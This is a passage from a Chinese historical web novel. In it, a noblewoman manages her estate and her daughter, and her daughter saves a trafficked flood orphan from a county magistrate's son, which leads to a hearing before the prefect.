沈朝昭一边往楼上跑,一边脆声喊道:“母亲,您睡了吗?我回来了。”
孟南枝眸色恢复清明,扬声道:“没有,别上来了,我下去。”
谢归舟挡在她身前,止住她想下去的脚步,“南枝,你想说什么?同意吗?”
虽然那份动摇只有一瞬,但满心满眼都是她的谢归舟,却能清晰地捕捉到。
孟南枝脚下微顿,停了两息,又跃过他。
“不同意。”
谢归舟疯了。
她不能跟着疯。
沈朝昭看着从阁楼疾步走下来的母亲,小脸微歪,“母亲,您不用着急的,我可以上去。”
“我没急。”孟南枝摇头。
沈朝昭从怀里抽出袖帕去擦拭她的额头,“母亲,您都出汗了,脸色也发红,还不算着急呀。”
孟南枝抬手去摸,果真额头生了汗。
定是今日衣服穿多了。
阁楼窗后依墙站立的谢归舟,听着她们母女的对话。
低头再看掌心的绷带,眉眼却是生了笑。
……
沈卿知直到夜半才回了侯府。
等他多时的林婉柔忙起身,身姿百态地走到他身前,为他宽衣,“侯爷,您可算回来了,妾身等您多时了,南枝她可同意放过筝筝了?”
然而,她的回话却是沈卿知的一巴掌。
沈卿知双目阴霾,打完后手还停在半空。
林婉柔捂着被打伤的脸颊,瞳孔睁大,满目震惊,“侯爷,妾身做错什么了,您竟然要打妾身?”
言罢,那珠泪便如线一般落下,整个人显得楚楚可怜。
沈卿知收回手,大跨步走到主位,撩起衣摆坐下,冷哼道:“你还问我为什么打你?那个郎中,你到底是从何处寻来的?为什么他的通关文碟是假的?”
他从孟府出来出来后,直接被请去了刑部。
原本由奕王萧临渊核查郎中所制疫病药方与洪太医一致的案子,不知道怎么突然转交给了三司会审,由刑部主办。
等他赶到的时候,公堂之上坐着刑部侍郎陈大人、大理寺侍郎和都察院侍郎。
太医院院首大人旁听,连洪太医都被赐了坐,位于审案厅的旁侧。
而那名郎中则正跪在堂中央,满身伤痕。
陈大人和他说,那名郎中承认他是抄袭了洪太医的药方,但对其怎么抄的却一直含糊不清。
质问他沈卿知对此可否知情。
他沈卿知能说什么?
说不知情,郎中一直住在他镇北侯府。
可若说知情,那他明知郎中抄袭却知情不报,更是罪加一等。
他只能含糊其词地糊弄过去。
结果,陈大人又亮出那名郎中的通关文碟是假的。
郎中
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来路不明,那将他藏于侯府的沈卿知自然成了众矢之的,被怀疑与这来路不明的郎中有不可告人的勾结。
他又气又急,在公堂之上便被几位大人,你一言我一语地逼问得冷汗直冒。
只能推说为不知情,受了蒙骗。
好不容易从刑部出来,他满心都是对林婉柔的怒火。
若不是林婉柔提及这名郎中,并把郎中带回府中,说什么能研制疫病之法。
他能跟着胡闹,被人逼问丢脸到如此地步?
林婉柔听到沈卿知的质问,心中一慌,却仍强装镇定地哭诉道:“侯爷,妾身也是被人骗了呀。”
“您知道的,那郎中明明是有些本领的,要不当初他怎么能医治好太后的病?妾身哪里能知道他竟是个骗子。”
林婉柔不提还好,一提沈卿知就更加生气。
他怒瞪着林婉柔斥责道:“你把他领进侯府的时候,为什么不好好核查他的身份?你可知你将本侯害得有多惨?”
“因为筝筝的事,尚书大人就已经暂停了我的职务。如今被我带出去说要医治疫病的郎中却抄袭洪太医的药方,你让上司怎么看我?我还如何能够再登朝堂?”
林婉柔扑通一声跪在地上,拉着沈卿知的衣角,“侯爷,妾身知错了,您就原谅妾身这一次吧。妾身以后一定谨慎行事,不会再让这样的事情发生了。”
沈卿知一脚踢开她的手,“以后?本侯还能有以后吗?如今这事已经闹得沸沸扬扬,本侯的声誉都毁于一旦了。”
本该奕王亲自审查的案子,奕王却没出面。
这证明奕王已经放弃他们沈家了。
还有,三司会审,必是惊得了圣上。
就是林父,也没办法救他。
林婉柔跪在地上,低垂的眸子里满是怨恨。
这郎中研制的药方,她明明和沈卿知说的是去治孟南枝的父亲,用来换取女儿出狱。
可沈卿知却一心想要捞取功名,直接去了城门口,被院首逮了个正着。
若听她的,拿着药方直接去了孟府,哪会有这些事。
怪不得孟南枝宁可和离,也不愿再回沈府。
这沈卿知当真是难以调教。
第203章 那都是气话
只是心中再有埋怨,林婉柔面上也依旧是一副温柔可人的模样。
她半跪在地上,为沈卿知轻锤大腿,柔声劝解,“侯爷,如今这局面,虽说棘手,可也不是全无转机。”
正在气头上的沈卿知不为所动。
林婉柔又道:“侯爷,奕王心悦筝筝,如今不管沈府,还是因为我们没有给到他足够的筹码。”
“只要我们能够证明筝筝的清白,筝筝出了狱,奕王舍不得筝筝,纳了筝筝为侧妃,侯爷您何愁没有再登朝堂的机会。”
沈卿知在林婉柔的劝说下,神色稍缓。
只是一想到今日孟南枝同他说的话,面色又冷下来,“明日便已经是申诉的最后期限,你准备怎么证明筝筝的清白?”
这些时日,他可没见过她为筝筝费心费力操心过一点。
只劝说他,让他去求孟南枝。
可孟南枝又岂会听他的。
害他处处碰壁。
林婉柔未曾停下手中按摩的动作,“侯爷,此事的源头,总归来说还是在于南枝,只要南枝同意不告南枝,筝筝自然也就无罪。”
沈卿知打开她的手,站起身来回踱步了几下。
满脑子都是孟南枝和林婉柔两人所说话的对比。
最终,他又站回到林婉柔面前,短须轻翘,喝斥道:“说来说去,还是去找南枝。林婉柔,依本侯看,这污蔑南枝、买**害南枝的真正凶手是你吧?”
“是你,让筝筝对你顶了罪是不是?”
“你好歹也是做母亲的人,你怎么能对孩子这么狠心?”
林婉柔心中一惊,面色瞬间苍白,她僵硬的唇角颤抖了几下,指甲深深陷入掌心里。
眼睫微眨,再次瞬间泪如雨下,“侯爷,你怎么能这么想妾身?是不是南枝,她在你面前说了妾身的坏话。”
“侯爷,妾身自幼便与您相识,如今又跟了您这么多年,您难道还不了解妾身,妾身是那样的人吗?”
“筝儿她是妾身十月怀胎换下的骨肉啊,若真是妾身做的,妾身又怎么舍得让她去代妾身受罪。妾身巴不得能代筝儿受罪,住狱的是妾身啊。”
沈卿知甩袖,“那你就去!”
林婉柔闻言一窒,缓缓站起身,边擦眼泪,边说道:“罢了,说来说去侯爷您的心还是向着南枝,妾身这就听您的,去刑部承认是妾身污蔑了南枝,去换筝筝出狱。”
林婉柔言罢,竟然是真的抬脚开始往外走。
沈卿知见状,面色一僵,下意识地拽住她的衣角。
林婉柔唇角微翘,却是未曾转身,她抬手捂住唇鼻,哽咽道:“只是侯爷,妾身若是去了,您身边没了贴心人,一定要好好照顾自己。”
“您懂妾身的,妾身什么都能放得下,唯一放不下的就是侯爷您。”
“侯爷,保重。”
林婉柔再次言罢,拽住衣角,便小跑了起来。
只是没两步,便又被追上来的沈卿知给揽了起来,“婉柔,别去,本侯那是气话。”
若林婉柔真去了,只怕明日林父便会来斥责他。
他已经失了挽回孟父心中形象的机会,不能两头都落空。
被她揽在怀里的林婉柔嘤嘤直哭,“侯爷,让妾身去吧,妾身是真的舍不得筝儿。”
沈卿知轻拍她的后背,“本侯知道,今日太晚了,明日,本侯和你一起去探望筝筝。”
“嗯。”林婉柔这才点头应下。
只是她看不见的眉眼中,全是得逞的笑意。
……
孟南枝是到第二日才得知那名郎中认了抄袭的罪。
洪太医狗腿似的送来了厚礼。
一株百年老参。
“夫人,这老参是我寻遍满京才好不容易买来的,特别感谢您提供的药引。”
因为疫病药方的研制,他受到了圣上的嘉奖,还给他升了职。
他,洪仲岥,如今已经荣升为太医院的院副。
是他们洪家自开族谱以来,职务最高的一位。
而这一切的源头,都是因为眼前的孟南枝。
孟南枝笑道:“既然是洪太医的心意,那我就收下了。”
她深知,她若不收,洪太医只怕会坐立难安。
她收了,就证明这件事就这么了解了。
以后谁也不会再提。
洪太医见孟南枝
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收下,脸上堆满笑意,忙不迭地又道:“夫人,日后若有什么需要,尽管吩咐,下官定当竭尽全力。”
孟南枝微微点头,抬手示意月芹她们全部退下。
洪太医见状,便知她有要事,忙身子往前贴了贴,距离孟南枝近了一些,方便她低声说话。
孟南枝指尖轻扣桌案,半晌才道:“洪太医,不知你对屠戎将军的病情可有了解?”
洪太医弯着的腰一僵,差点给闪着。
屠戎将军能有什么病?
无非是伤了根基呗。
但这……
他要怎么说呢。
还是装傻吧。
他佯装疑惑道:“夫人,你是在说屠戎将军此前中的刀伤吗?下官给将军看过,这么长时间,应是已经好了。”
孟南枝点头,以为自己说的太过含糊,洪太医没听懂,便换了一种直白的方式问道:“洪太医,我听闻屠戎将军一直未娶妻,是因为受伤了,他这病,可能医治?”
话说到这种份上,洪太医便不可能再装傻到底。
但他也不能明说,只得低声说道:
“这件事下官确实知晓一点,下官此前还不够参与医治屠戎将军。但下官知道,屠戎将军的病情一直是由院首大人医治的。”
“这么些年,连院首大人都一直束手无策,那他那这病,怕是……”
洪太医说到这里,便没再继续说。
话说一半,自己揣摩。
至于能不能领悟,领悟多少,跟他就没有责任了。
孟南枝闻言微微颔首。
确认谢归舟是真的伤了后。
说不清内心到底是松了口气,还是提了口气。
轻轻端起茶盏,抿了口茶。
洪太医见状,拱手告辞退下。
出孟府大门,他才长舒一口气。
现在整个京都,谁不知道屠戎将军谢归舟心悦孟南枝。
孟南枝敢问他这么隐私的事,这两人八成是又有了新进展。
他只是一个小小路人甲。
说多说少都可能会出错。
还是不要过多参与的好。
这小两口的事,就该小两口自己去解决。
第204章 这都是咱们的?
洪太医前脚刚走,贾掌柜后脚就带着一名年轻妇人入了孟府。
妇人穿着干练,身姿飒爽,腰上别了一根长鞭,看起来就是精武之人。
见到孟南枝,妇人拱手行了武礼,“民妇钱程氏,见过夫人。”
钱是夫姓,程是本姓。
孟南枝目光温和,语气诚恳,“程夫人,想必贾掌柜已经和你说了,我有一女,喜爱耍鞭,但技艺尚显稚嫩,听闻钱夫人鞭法出众,便想请钱夫人指点一二。”
钱程氏爽朗道:“夫人客气了,只要夫人和令爱不嫌弃,民妇自当倾囊相授。”
孟南枝听后,将沈朝昭唤来。
“昭儿,这是程夫人,你在鞭法上有不懂的,可以向她讨教。”
“程夫人,此是小女,有劳你多加指点。”
沈朝昭杏眼打量着钱程氏,见她不卑不亢,心中先有了几分好感,与她脆生生地行礼。
“朝昭见过程夫人,往后请夫人多多指教。”
钱程氏见沈朝昭眼神灵动,举止大方,心中也颇为喜欢,笑着应下。
她从腰间解下自己的长鞭,在空中挽了个漂亮的鞭花。
“沈姑娘,鞭法讲究刚柔并济,眼疾手快,今日我先给你演示几招基础招式,你可要看好了。”
说罢,便在院中舞动起来,鞭影翻飞,如银蛇吐信,时而如疾风骤雨般迅猛,时而又如春风拂柳般轻柔。
沈朝昭看得目不转睛,从腰后抽出长鞭跟着比画。
孟南枝见她学得认真,看了一会儿后就去了正厅。
刘嬷嬷跟在她身侧轻声汇报,“夫人,您让老奴重新整理的店铺、庄子收益,老奴已经理好了。”
孟南枝颔首,示意她将帐册拿过来一一翻看。
既然答应了女儿要教她本领,治家之事是万万不能落下的。
一个家族的兴衰,不仅在于男子地位成就的高低,更在于子嗣的教育,还有家宅的治理与经营。
只有两者相辅相成,才会将家族治理得蒸蒸日上。
女儿身为世家千金,不能不通店铺经营和田庄收益。
她总归得有一套能拿得出手的本事,往后若是成婚,也能在夫家站稳脚跟,不被旁人小瞧了去。
武学只能防身,手段才能保命。
沈朝昭精力旺盛,缠着钱程氏整整练了一上午,才方觉疲惫。
她清洗过后换了件珊瑚色的衣裙,走到孟南枝对面,好奇地看了眼桌案上的账本。
“母亲,您在对帐?”
孟南枝抬目看向女儿,眉眼温和,“昭儿,从今日起,你三、七同程夫人学鞭,四、六跟母亲学着怎么主持府内中馈。”
沈朝昭点头后,有些不解,“那其他的日子呢?”
“其他的日子,母亲自然还有安排。”孟南枝从桌案上抽出一本递给她,“你先看看这上面有没有喜欢的。”
沈朝昭翻开册页。
东街的胭脂铺、西街的首饰铺、城南的糕点铺,还有城北的香料铺,城郊的绣坊等等,眼茶缭乱,大概有十多个。
这些铺子,虽说不大,但每个沈朝昭都隐约有点印象。
沈朝昭以为母亲要给她买礼物,故作矜持地咳了一声,“都挺好。”
孟南枝不知女儿会错了意,眸中带着温泽道:“喜欢就好,挑一个你最喜欢的,先打理一段时间,若是打理得好,就都给你。”
沈朝昭这才惊喜地坐直了身子,“母亲,这都是咱、咱们的?”
她此前就听知夏说过,母亲家底丰厚,但没想到会这么丰厚。
沈朝昭还记得,陆筝筝及笄那日,林婉柔送给她的礼物中就有一间铺子。
陆筝筝还到她面前炫耀,说她这辈子也不可能收到母亲送给她的及笄礼了。
眼下自己还没及笄呢,母亲就已经准备让她独自打理店铺。
说不清是委屈,还是高兴。
沈朝昭觉得眼睛挺酸的。
孟南枝点头,目光中带着促侠,“当然都是咱们的,母亲怎么说也是孟府唯一的千金,家底还能薄了去?”
只是她不在的这些年,铺子的收益都相对有些惨淡。
言罢,她又拿出另一册递到她面前,“这些是田庄,你可以先看一
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下,了解我们都有哪些资产。”
田庄也有很多。
沈朝昭看花了眼。
孟南枝解释道:“这些铺子和田庄,一部分是你外祖母留给我的,还有一部分是你外祖父为我添的嫁妆。”
与沈卿知成婚后,她自己也营利买了一部分。
但这些,她不想在女儿面前提。
因为太多选择了,沈朝昭反而不知道该怎么选择。
胭脂铺好,糕点铺也好。
每一个她都觉得不错。
但真让她经营,反而心里有些打鼓。
想了想,沈朝昭决定还是求助母亲,“母亲,要不您给我选一个吧。”
孟南枝点头,思索片刻后,指着其中一本帐册道:“那就西街的首饰铺吧,位置好,客流量大。”
“而且首饰铺的进货渠道和款式更新都较为灵活,适合你初次尝试经营。你先试着经营一段时间,看看效果如何。”
沈朝昭接过帐册,仔细翻看起来。
上面详细记录了首饰铺的进货渠道、销售情况、以及各项开支。
沈朝昭越看越觉得有趣,她仰起头,杏眼亮晶晶地说道:“那母亲,我就打理这个了。”
“好。”
孟南枝笑着轻抚了一下她的脑袋,开始和她讲述经营店铺时该注意的事项。
“你有不懂的也可以多听听知秋的意见,她此前代母亲管理过帐册。”
沈朝昭转身看了眼对她福礼的知秋,笑着点头道:“好的,母亲。”
一想到自己就要独立经营铺子,沈朝昭便坐不住了,她起身道:“那母亲,我能不能现在就去铺子里看看?”
孟南枝自然知道她的性子,当下便笑道:“可以,让刘嬷嬷陪你去。”
“好嘞。”沈朝昭笑盈盈地应下。
直到看女儿蹦蹦跳跳地拖着腿脚不便的刘嬷嬷离开,孟南枝才笑着低头继续翻看账册。
疫情已过,经济回春。
女儿只要按部就班地经营,就一定会获利。
又过了一会儿,月芹过来轻轻福了一礼。
“夫人,奕王来访。”
第205章 **
“南枝姐。”
几日不见的萧临渊面上依旧挂着笑,玄衣锦袍趁得他更加的气质出众。
已经七月泛了凉气的天,他手里却还拿着羽扇。
不知到底是冷还是热。
孟南枝眼神微闪,忙笑着邀他坐下,“奕王殿下,不知今日前来,所为何事?”
她一边说着,一边示意月芹去沏茶。
萧临渊轻轻摇了摇手中的羽扇,笑道:“南枝姐果然聪慧,今日前来,确实是有些事情想与你相商。”
孟南枝微微颔首,“奕王殿下但说无妨。”
萧临渊将羽扇放置在桌案上,端起茶盏轻抿了一口道:“在此之前,我们先聊些别的吧。”
孟南枝眉峰微蹙,却是没接他的话。
然而萧临渊也似乎没想着询问她的意见,接着说道:“南枝姐,说起来我们认识也有二十六年了吧?”
“我母妃说,我洗三那日,你还拉过我的小手,送我了一支玉蝉。”萧临渊说着,从怀里摸出一枚玉蝉放在掌心,露在孟南枝的面前。
那枚玉蝉确实是孟南枝送的。
父亲身为圣上的伴读,萧临渊出生,自然是要去送礼的。
孟南枝喜欢热闹,在跟着母亲去探望还是奶团子的萧临渊时,觉得不能空着手去,便从自己的宝库里随便挑了一个小玩意送了出去。
倒没想到他到如今还存着。
孟南枝不懂此刻萧临渊突然拿出这个,是什么意思。
萧临渊眸光从玉蝉上抬起来,看向孟南枝,语气中带了几分思念与哀伤,“南枝姐,我们都知道,身在帝王家,亲情是最难渴望的东西。”
“太傅教我们读书时,你是唯一围绕在我们之间,不掺杂任何利益目的的人,陪我们渡过了非常美好的少年时光。”
“南枝姐,我一直把你当姐姐,自以为我们之间怎么也算有姐弟之情,可你为什么要在背后给我下刀子?”
萧临渊在说到最后一句话时,语气转换为锋利。
孟南枝指尖轻蜷,面上带着不解,“臣女不知奕王所谓何意。”
萧临渊右手轻转板指,轻轻摇头后,嘴角扯出一丝笑意,“南枝姐,你知不知道你表现得很明显?”
孟南枝蹙眉。
哪里明显?
表情吗?
她认为自己在他面前已经努力表现得够平静了。
萧临渊轻叹了口气,站起身,将那枚玉蝉放置在桌案上,“南枝姐,在此之前,我是真的从来没想过与你为敌的。”
你真不该去见皇后。
逼得他母妃挨了训斥,让他不得不把疫病药方一案的审理权交出去。
打乱了他所有的计划。
后面的话,萧临渊没有说,他将玉蝉放置在桌案上,似风清云淡一般摇着羽扇就走了。
孟南枝看着那枚玉蝉,眉头直跳。
这是做什么?
明着断绝关系来了?
自从知道不能砍断萧临渊和陆筝筝之间那根红线起,她就没想过和萧临渊的关系能善了。
只是没想到会这么快地打上明牌。
吩咐月芹将玉蝉直接扔掉,孟南枝起身赶往城东的胭脂铺。
长子在山城,与太子在一起。
即便萧临渊的手能伸那么远,她此时也过不去。
次子在书院,学子众多,只要次子不乱跑,便不会有事。
而且孟南枝还特意和观棋交代了,让他在外面守着。
唯有女儿沈朝昭和萧临渊的关系扯得比较深。
她担心女儿出事。
阿贵在孟南枝的催促下,把马车驶得很快。
等孟南枝赶到城东胭脂铺时,便见铺子外围了一圈人,议论纷纷。
她心中一紧,快步走上前去,拨开人群。
只见沈朝昭正站在铺子中央,神情倨傲地与一名身着华服的纨绔公子对峙着。
“你知不知道本姑娘是谁,竟然敢在本姑娘的铺子里**。”
那公子摇着折扇,一脸轻浮之色,“我管你是谁,敢坏本公子的好事,本公子让你吃不了兜着走。”
“本姑娘再说一次,让你的手下,把那个姑娘放开!”沈朝昭抽出长鞭,
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在地上甩了一下,“否则,甭怪本姑娘下狠手了。”
公子冷哼一声,“你少管闲事,那小姑娘是本公子的妾室。”
孟南枝这才注意到,铺子里的角落,两个青衣奴仆正拽着一个姿色秀美的小姑娘。
小姑娘约莫**岁,满脸泪痕,还没完全长开的样子。
“她还是个小孩子!”沈朝昭手中长鞭一扬,作势就要朝那公子抽去。
那公子见她竟然来真的,吓得连忙往后退了几步。
嘴里却仍不依不饶地叫嚷着:“你竟敢对本公子动手,你可知道本公子是谁?”
沈朝昭冷笑一声道:“本姑娘管你是谁,光天化日之下强抢民女,还有没有王法了!”
沈朝昭说罢,手中长鞭再次挥出,直接朝那两个拽着小姑娘的奴仆而去。
那两个奴仆见鞭子朝自己抽来,吓得赶紧松开了手,往后退去。
那小姑娘得了自由,连忙跑到沈朝昭身后,躲在她身后,身体还在不停地颤抖着。
那公子见自己的奴仆被吓退,顿时觉得在众人面前失了面子,气得满脸通红,指着沈朝昭道:“你这不知天高地厚的丫头,本公子今日定要让你知道厉害!”说着,便要吩咐自己带来的其他手下上前。
就在这时,孟南枝快步走进铺子,冷冷地看了那公子一眼,道:“不知这位公子如此大动干戈,所为何事?”
那公子见孟南枝气质不凡,心中虽有些忌惮,但仍强撑着道:“你是何人?这丫头坏了本公子的好事,本公子自然要教训她!”
孟南枝微微一笑,道:“公子此言差矣,这铺子乃是我孟家的产业,这位姑娘乃是我女儿,她不过是见不得公子强抢民女,出手相助罢了。公子若是有理,不妨说出来让大家评评理,若是无理,便请公子带着你的人离开吧。”
那公子听了孟南枝的话,心中有些发虚,但又不愿就此罢休,便道:“哼,就算这铺子是你们的又如何,那小姑娘乃是本公子看上的,本公子要带她走,谁也拦不住!”
第206章 没出息的东西
沈朝昭不知道孟南枝的顾虑。
她以为母亲过来就是纯粹为她撑腰的。
在那两个恶奴逃跑后,她就吩咐知夏把晕倒在地上的公子给绑了起来,还往他头上泼了一盆冷水。
那公子醒后,看着孟南枝双目狰狞,“竟然打我!你可知道本公子是谁!”
因为刚才是背着,孟南枝没有看清他的脸。
直到此刻他睁开眼睛,孟南枝才觉得他隐隐有些面熟,不禁看向刘嬷嬷。
刘嬷嬷摇头,她不认识,京都世家子弟没有这号人物。
沈朝昭却不管那么多,又一鞭子甩上去,“你再叫,本姑娘抽死你。”
孟南枝不欲同他口舌,在月芹搬来的椅子上坐下,想看看他后台到底有多硬。
而那两个恶奴也没让孟南枝失望,很快就带着帮手跑来。
帮手是孟南枝的老熟人,吏部尚书的的儿子黄营东。
挨了长鞭痛得直叫的公子如见到救星,指着沈朝昭和孟南枝道:“表哥,是她,是她们打了我!”
黄营东没看到孟南枝,甫一进来就扯着嗓子大喊,“是谁欺辱了本公子表弟?!赶紧给我跪下来求饶,否则本公子绝不轻饶他!”
“你说让谁跪下来?”孟南枝语气温和,却双眸含冰。
黄营东冷不丁看到孟南枝,记忆中差点被刺伤眼睛的画面涌上来。
他眼角抽动了两个下,下意识想抬手去摸那处疤痕,三白眼中的狠意根本就遮掩不住,“孟南枝。”
沈朝昭杏眼生怒,一个长鞭打在他的脸上,“我母亲的闺名也是你能叫的?!”
“啊,脸,我的脸。”
没有防备的黄营东躲闪不及,本就生了疤痕的脸上,再次出了血。
地上公子瞪大了双眼,“我姨父乃是吏部尚书,你们竟然敢打伤吏部尚书的儿子,你们不想活了。”
孟南枝下巴微抬,“那你可知道我是谁?”
那公子对上孟南枝眸中冰冷的视线,猛地打了一个哆嗦。
自己都把姨父的名字报上去了,她们竟然还不怕。
那他……
只稍一深想,他便知道了眼前的两位女子不好惹。
身份肯定要比表哥还有姨父尊贵得多。
他连问都不敢问,开始缩着身子往后躲。
孟南枝嗤笑一声,看向嗷叫声逐渐渐弱的黄营东。
“黄营东,看来你在牢狱里还是没待够。”
当初城门施粥,是萧临渊亲自将马夫人和黄营东这对母子押入刑部的。
经三司会审,两人承认只是想和孟南枝争个高下,并无**流民的想法。
虽由吏部大人作保,但在父亲孟正德的力压下,二人还是分别以杖十五、杖二十,和拘月余的处罚才算收了尾。
算下时间,确实是到今日。
但孟南枝就是觉得怪异,一时有些不确定这到底是真的巧合,还是有所预谋。
黄营东似这才想起孟南枝的身份地位,垂下眼帘,半遮狠意道:“孟夫人,我表弟初来京都,可从未曾招惹你,你为何要打他?”
马表弟见表哥竟然不怯她,以为孟南枝刚才是在虚张声势,又支棱起脖子,“对!本公子初来京都,只是想抓回自己的人,你为何要打我?”
孟南枝看了眼一直躲在沈朝昭身后的小姑娘,冷哼一声,“那你倒是说说她是你的什么人?”
“她是,她是……”
众目睽睽之下,马表弟说话有些结巴。
黄营东见状不耐烦地踢了他一脚,“快说。”
马表弟瞪了一眼四周围观的百姓,耍横道:“你管她是本公子什么人,总归她就是本公子的人,本公子可有身契在手。”
小姑娘苍白着小脸,连连摇头,“我不是,我不是。”
沈朝昭转过身将她护在怀里,轻声安抚,“别怕,姐姐保护你,他欺负了你,我母亲会给你报仇的。”
黄营东没注意她们的讲话,得了表弟的肯定后,他也不再管脸上的血痕,站直了身子看向孟南枝。
“你听到没,这小丫头是我表弟的人,本公子要告你无故伤人!你别以为你有孟相撑腰,就罔顾王法,敢当街行凶。”
马表弟听到前面的话时,还在附和着点头。
当听到“孟相”二
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字时,却是瞬间煞白了脸。
“表、表哥,我没事,别告,别告,你可千万别告。”
黄营东不明所以,“表弟,你别怕,即使她是孟相的女儿又如何,在大洐还是圣上说了算,是她们先打伤了你,还绑了你,我们就要告她。”
若不报那牢狱之仇,他黄营东实在是咽不下这口气。
明明他没有错,只是让流民先食了粥而已。
竟然罚他被打了二十棍杖,还坐了那么多天的牢。
他母亲只会哄他,根本就不可能为他报仇。
他只能自己来给自己报仇,让孟南枝也住了牢狱,才能解心头之恨。
孟南枝点头,“好,告,你最好现在就去告我。”
被绑的马表弟脸色苍白,像虫一样扭动到黄营东面前,“表哥,别告了,是我的错。”
随后又冲孟南枝陪着笑脸道:“原来是孟相的千金,真是久仰久仰,我家父乃是山城辉县县令马成。”
“我乃马文青,初来京都,不懂规矩,若有冒犯之处,还望孟夫人和沈姑娘海涵。”
孟南枝眉峰微蹙,这才带了几分思量地看向马文青。
山城辉县。
当初父亲连夜入京和圣上分析九曲何会决堤后,圣上安排河工去加固河堤。
山城十县,八县被淹。
保下的那两县之中便有辉县。
那这县令马成,便绝非庸才。
尤其是眼前的这个马文青,只听黄营东提了一句孟相,便能直接喊出女儿的姓氏,想来是对她的身份有过调查的。
他这个时候来京都,做什么?
黄营东见马文青前倨后恭,还搬出他父亲来,气得一脚踹过去,“没出息的东西,你怕她作甚!”
马表弟被踹得扭动了一下,却不敢反抗。
背过身冲他抬着下巴,眨眼睛:快走,这人他们是真惹不起。
黄营东却根本没看到,踹了他一脚后,又恶狠狠地瞪着孟南枝,“你别得意,我现在就去应天府告你去。”
孟南枝目光落向门外,洁白的下巴轻轻上扬。
“喏,府尹来了,你告吧。”
第207章 对质与供诉
府尹闵大人是被知秋请来的。
若是旁的小打小闹,他自然是不会亲自前来。
只是一听说是孟南枝的女儿被人欺辱,闵大人就不得不多想想了。
他官场之位能走得如此顺畅,除了自身才学过硬,还在于他会审时度势,深知哪些人能得罪,哪些人万万不可触碰。
孟相如今正值圣宠,他的独女孟南枝又是屠戎将军公开心悦之人。
显然是他不能不敬着的存在。
黄营东不觉得此时赶来的闵大人有什么问题,他直接拱手道:“闵大人,我要状告孟南枝和她女儿殴打我表弟。”
闵大人对孟南枝微微颔首,看着地上被绑的马文青,脸色一沉,“本官来时已经听说了,是你这表弟先行**,如今你还妄图诬告孟夫人,可知罪?”
黄营东刚要开口,被闵大人一个眼神瞪了回去。
虽说孟相他不想得罪,但吏部尚书他也不想得罪。
这件事说大可大,说小可小。
只要这黄营东懂点事,趁早赔礼道道歉。
他是能和稀泥,就和稀泥。
马文青倒是机灵,连忙求饶道:“大人,是小的有眼无珠,冒犯了孟夫人,还望大人和孟夫人高抬贵手,饶了小的这一次。”
黄营东见马文青如此,恼恨其不争气,他对着闵大人再次拱手道:“闵大人,此次并非是我表弟先惹的事,是他们……”
马文青怕他越说越多,坐直了身子朝黄营东撞过去,直接把他撞了个狗啃泥。
压低了声音道:“别说了别说了,你到底听不听得懂。”
他是来探亲的,不是来入狱的。
闵大人见他们这般模样,暗自摇头。
黄大人那么才学多智的一个人,竟然生出这么一个**。
若不再整家风,只怕黄家的未来也仅限于此了。
既然该给的面子都给过了,该提的醒也都提过了。
闵大人转身看向孟南枝,语气虽然没有变化,但眉眼却带了温和,“孟夫人,既然他们已经认了错,您看此事是否就到此为止?”
自知闵大人将那麻子提前充军后,孟南枝便很难对其产生信任。
如今又岂会看不出他想和稀泥的想法。
她目光略过地上狼狈的两人,语气平静却不容置疑。
“闵大人,此事并非只是简单**,是这人强抢民女在先,小女这才加以制止。若就此轻易放过,只怕会让百姓觉得王法不过是儿戏,无权无势便可任人欺凌。”
沈朝昭将小姑娘推到前面,气乎乎地道:“大人,您看,他抢的就是这个小姑娘,她才多大啊,还是个孩子,那个畜生竟然说这是他的妾室。”
闵大人闻言眸色一凝,冷眼看向地上的马文青,“大胆刁民,你竟敢在本官的辖域内强抢民女!”
大衍律例:男十六、女十五方成能婚,若早于该时间段,其父母将遭受杖刑。
眼前的女孩不过**岁,不管为妻还是做妾,都明显不到年龄。
尤其是强抢民女,这等恶事发生在他的管辖内。
只怕到了年底考核,他都要被纠察官给记上一笔。
若分值扣得太多,只怕就要轮落地方了。
马文青连连摇头,死不承认。
“大人,我没有,我真没有,她是我在路上买的奴婢,路上一直逃跑,刚才是一时气不过才说是我的妾室。”
沈朝昭才不信他的鬼话,哼了哼鼻子,“你说谎,就连你的那两个恶奴,刚才都在说这是你的妾。”
言罢,她还低头轻声鼓励小姑娘勇敢地说出来,“说吧,别怕,有姐姐在呢。”
小姑娘眨巴了两下眼睛,泪珠就落了下来。
她呜咽着说道:“我、我,不是奴婢。他说,他把我买来就是要做妾室的,但不是做他的妾室,是送给别人做妾室。”
马文青听到此处,大喊道:“你住嘴,你个小丫头片子,竟然诬陷本公子。”
“大人,我是冤枉的,我从来没说过这些话。我只在她逃跑的时候,说过两句气话。”
“我爹是知县,我姨父是吏部尚书,我自幼熟读律法,我是死也不敢干出这
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等违背律法之事啊。”
“大人,您一定要相信我,我是被冤枉的。”
黄营东听到此处,总算弄明白了事情的严重性。
怪不得刚才一直堵他的嘴不让他说话。
合着这件事还真不简单啊。
黄营东默默呸了一口。
欺辱**,真恶心。
但他到底与马文青是表亲,也不想被孟南枝再次抓到把柄。
硬着头皮道:“大人,我表弟他绝不敢做出这等强抢民女之事,定是这个小姑娘在诬陷他,还望大人明察。”
小姑娘反驳的声音如同细蚊,“我、我没有诬陷,我说的都是真的。”
孟南枝见状,招呼着小姑娘到她跟前,轻拉住她的小手,温和道:“别怕,慢慢来。先说一下,你叫什么名字,是哪里人好不好?”
小姑娘感受到她眼里的温柔和鼓励,重重地点了下头,“我叫丫丫,是怀县人。”
孟南枝再次蹙眉。
怀县,与辉县近邻。
保下的那两县之中的另一县。
孟南枝心中虽然疑惑,但面上却依旧温和,“那你是怎么来到京都的?”
小姑娘接着道:“发了大水后,我家全被冲没了,我娘把我挂在树杈上,也被冲没了。”
“我饿了好多天,然村大娘给救了,村大娘把我带到辉县,说是把我送到好人家,有吃有喝,就把我卖了。”
“一开始,我和好多好多个小朋友在一起,有吃有喝。后来就一天少一个,一天少两个。直到有一天,我被人领了出来。”
小姑娘说到此处,有些害怕地看向地上的马文青。
“就是他,我被他买了,我亲眼看到他给了那人很多银子。我一开始也以为他把我买来是要做奴婢,可是,直到进了京都。”
“他昨晚高兴,吃醉了酒,和美晴姐姐说要把我送出去,给人当妾室。美晴姐姐以为他是喝糊涂了,今早就和他提及这事。”
“结、结果,他把美晴姐姐打**。”
“他还、还说,我要不听话,就把我也打死。”
第208章 她最信任的人
小姑娘说到最后,泣不成声。
孟南枝轻轻瞥过闵大人,“如此,还只是**?”
闵大人面上无光,对着地上的马文青厉声喝斥,“马文青,你可知罪?!”
本来只是过来镇场子的衙役,熟练地将马文青押了起来。
